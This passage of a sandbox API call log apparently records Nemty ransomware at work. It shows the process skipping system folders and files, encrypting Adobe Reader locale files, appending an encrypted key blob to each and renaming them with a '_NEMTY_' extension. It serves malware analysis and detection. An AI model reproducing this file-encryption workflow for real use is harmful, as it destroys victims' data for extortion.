out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.009] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.SLV", cAlternateFileName="")) returned 1 [0184.009] lstrcmpiW (lpString1="PDDom.SLV", lpString2=".") returned 1 [0184.009] lstrcmpiW (lpString1="PDDom.SLV", lpString2="..") returned 1 [0184.009] lstrcmpiW (lpString1="PDDom.SLV", lpString2="...") returned 1 [0184.009] lstrcmpiW (lpString1="PDDom.SLV", lpString2="windows") returned -1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="rsa") returned -1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="NTDETECT.COM") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="ntldr") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="MSDOS.SYS") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="IO.SYS") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="boot.ini") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="boot.ini") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="ntuser.dat") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="desktop.ini") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="CONFIG.SYS") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="RECYCLER") returned -1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="bootmgr") returned 1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="programdata") returned -1 [0184.010] lstrcmpiW (lpString1="PDDom.SLV", lpString2="appdata") returned 1 [0184.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.SLV", lpUsedDefaultChar=0x0) returned 9 [0184.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.SLV", lpUsedDefaultChar=0x0) returned 9 [0184.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.SLV", lpUsedDefaultChar=0x0) returned 9 [0184.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.SLV", lpUsedDefaultChar=0x0) returned 9 [0184.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.011] Sleep (dwMilliseconds=0x5) [0184.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21542030, dwHighDateTime=0x1d561e8)) [0184.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21542030, dwHighDateTime=0x1d561e8)) [0184.016] GetLastError () returned 0x0 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.016] GetLastError () returned 0x0 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.016] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.016] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mbvfupr3QhHxGjGcZkyyAUDv2NyGyXvFJukIWQBX3DETeMSRtIcp+RV5D6imaLVw\r\nPRMHo/QJ2rYov4DmtZh1BpniYABQ/vNADb1OmS+xrLlS7G6r9G0yyktOCo4FYl+u\r\nW4rub5cZu7Ylk2Q019Fj2RvURNx6eWa3kTql7rf2suIBdyc50kSnUlYJgGeVkHYi\r\nfa09QKghpODYsTVfHS1NLwHFu9Vuu92UGW+y/Hic4FL+MqslKZcC9JaiFyfLmOpo\r\nu6kQQg3aTIeVAk12q4pDEif8LYv1UwrvH0eP1UGd9W8MUd2Bak4Y3QLoNYHVes0i\r\n1ZoaGq5OWyzIcFlIcVsk0w==\r\n", pcchString=0x653e5dc) returned 1 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PDDom.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\pddom.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.017] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0184.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0184.017] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.017] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0184.019] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.019] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0184.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.019] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0184.019] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.019] CloseHandle (hObject=0x2e8) returned 1 [0184.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.020] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PDDom.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\pddom.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PDDom.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\pddom.slv._nemty_kgobjgd_")) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.021] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.SLV", cAlternateFileName="")) returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2=".") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="..") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="...") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="windows") returned -1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="rsa") returned -1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="NTDETECT.COM") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="ntldr") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="MSDOS.SYS") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="IO.SYS") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="boot.ini") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="boot.ini") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="ntuser.dat") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="desktop.ini") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="CONFIG.SYS") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="RECYCLER") returned -1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="bootmgr") returned 1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="programdata") returned -1 [0184.021] lstrcmpiW (lpString1="PPKLITE.SLV", lpString2="appdata") returned 1 [0184.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.022] Sleep (dwMilliseconds=0x5) [0184.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21568190, dwHighDateTime=0x1d561e8)) [0184.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21568190, dwHighDateTime=0x1d561e8)) [0184.031] GetLastError () returned 0x0 [0184.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.031] GetLastError () returned 0x0 [0184.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.032] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.032] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="YgU1F9SnIuv7qwopMtG8C7zHRCFs3gtISbpoRx6KLxKh6lSFGu+zXWTiCNAlUPEA\r\nBbpgSTblfjcHZmTLEeeeUmGiL8kXt8vh/oxG/tq00xbj0dNDCrCQM+DTZzbWIBq7\r\nXrxr4d9T9AHhc1uIs9T84SAKN1BL9pOv+cX7OU5lbAGvTnkzsk4qGIhnDsS9Xt1P\r\nYiOijmZWxvaRZrHymHbIn3C0vTUPUeVdLzZoY1oJuBtYRBPDBTLA41FxE7u9XabH\r\nhUIRnJeuCGLc9vUyWpvEgHortF5w+0W2LkVE4BbKaBP5JLt1aQwQsW5yVdZPlOfs\r\nwZDWjJGqCyZtmhoxNa+vgA==\r\n", pcchString=0x653e5dc) returned 1 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PPKLITE.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ppklite.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.032] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=505856) returned 1 [0184.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.032] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.032] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.044] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.044] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.044] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=505856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b800 [0184.044] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.046] CloseHandle (hObject=0x2e8) returned 1 [0184.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | 